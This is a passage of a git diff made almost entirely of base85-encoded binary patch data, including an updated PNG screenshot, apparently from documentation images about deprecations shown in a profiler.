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
DL#k5w

diff --git a/_images/install/deprecations-in-profiler.png b/_images/install/deprecations-in-profiler.png
index a8abcae32b79f772c42075800e2b6feedfb84a99..3d3f9a98a4a4fcd617d024e47cdd2143bd8e7669 100644
GIT binary patch
literal 103758
zcmeFZ1z27=(=dDk1xj&>YjKJ@#VLgX#i6)!<67LMP~0i*#ogWA;l|zFU5fUn?e^Jy
zcK3ZB+1>B|zU$hAJ7;DxnM@`*$t33-zD#{t0wBG4E%F)w1_l6tJw(8lS-=Ot<A(tA
z80N_n7<dFY1o)@ONJz*}aZ%A9A}$pU0nWo86&WolF)1yX01F)*i+}__55I(loScT8
zg<V3zFxVdz@TC=i{1{^E2@(Vt5da(+3<4SKOFMx1K|yc`u&=uQ2#`<^kD$T99zPJj
zg&*{X)__AmK7#r(1Av2gD1`)p^pLgo3;-@Pjs7#!|49h?-Lo6(DT2ofgf`>6Ty@EC
ze^uq+3wH{8x2bokycA6eh`n^<Z6^We@BUgs7Xw~a01oHJi>Jx8fXxGU_L~$0*DZ*j
z5z{QU6o68biiO0KLwYOh7XU+ps~YdC!yVYmwWf)BgQfN6$grq%G;Xt=SCspGSW+6d
zsBB_cC>Cz1UjUq;648LS6IiFo1&dF@OeifaqCW+gi)Cx?uvq3NMLf@w0DnW3J>*-B
zP}Kv1Z3lx(Sfq6Sv&;)|G1-LQ3;;lMdD4HCiTtSgXVJ?E3KbSIyP8FcFZHOX3Yd=o
z0P<(eL^WRke49%IX&lgGyQEB~i|;ZMfu}_}xydQ+>vymGaCzPM@2#8aGjo+{C%YNR
zSr!BFXxsV^pqaOul5ei6WD`QD@Cf{E(je8RyAZBa!&mjb0OV`mfk!*0E{H}oVCSmT
z>O=18x*3a#Rg7;u>r+>QKhCHnqD2*jiHd%==KiySe-Lt=Jzt$xoV~(yoE=)^GT}dn
zVXa~wNaSu<#Xox+3m?K08*WY(yMy9dEUI%}XuSFn`#RhWUVMP7-F0CyZF1%=VfZs<
z!^*Yh@$<7TZWz{Y>fq7^*d|e{nV{VOYDbEo#7!GKNi93_g<mN?3#_hSimxueM_m%M
zx_=L9rcN&8MZScnWGC~39ou$^fY@Afjc@ZdA+Fpz3e#H1wzcA=m>i-WWd<}2L0*4K
z;S7YP!FW@c-86(@ReG<}I3%!#6zLCHna*h4sL8<s0VvbYfi*$3--+DOtQ`CE?8Iy8
zbiDWZ`djm$L8)w3^Z>+UzQ-cP&euFHKlQ;2eYAbmx3yDL7hso5J%Nn&pShhs<JY?b
z{5S6)lHI|^>V(#$Z)`qyyOyrt7XMV}&%Y34mAR@A<Pb!4?Fg-xT!&qmxTgQrgi-bw
zRqFa|8wE-{xn3VR%TME~zd)Q)!8G+FT{O|o-4!OlG!!BK2LB(jL;kx{_dkD>{@*PT
zBJDJ|2XAzHJsOKDBEgLtv}1W`5W>#kc*@X=XCBiTaaNx=uICu($Ud5X$4-?xl1V(z
z#<ECllMvaR!C`6;v3@7KNMjTCX#L6F^`x_x(^yPa(bzU~_&oT6%uX0AzYRe^-#j^c
z-#q#!2E!EFV8g;ti4LjQOzLQXwac9D*;<~&)J>)yJpLCc91&O|Hez`_iB9wN4m3lV
z?3}qLIpCUqtpPcjD0ZC7)M~3bJ8z_`oE1+&Y%KfZ@%1=z0fq(r*U3CFAGUozyi{ZF
zPn5(T<i1Rs$)1n0%Gdq0ppdAZ9bE&OcXb7;F)6v2b&xx>OlGo3Q_FdDd*^7h%S*b2
zPi9=DXqb^)Fq3jQ8Drg#g0)%D>$s+EF8F4<LTXzT*ie=OBUi1~VfMC=iBo#EgiXeI
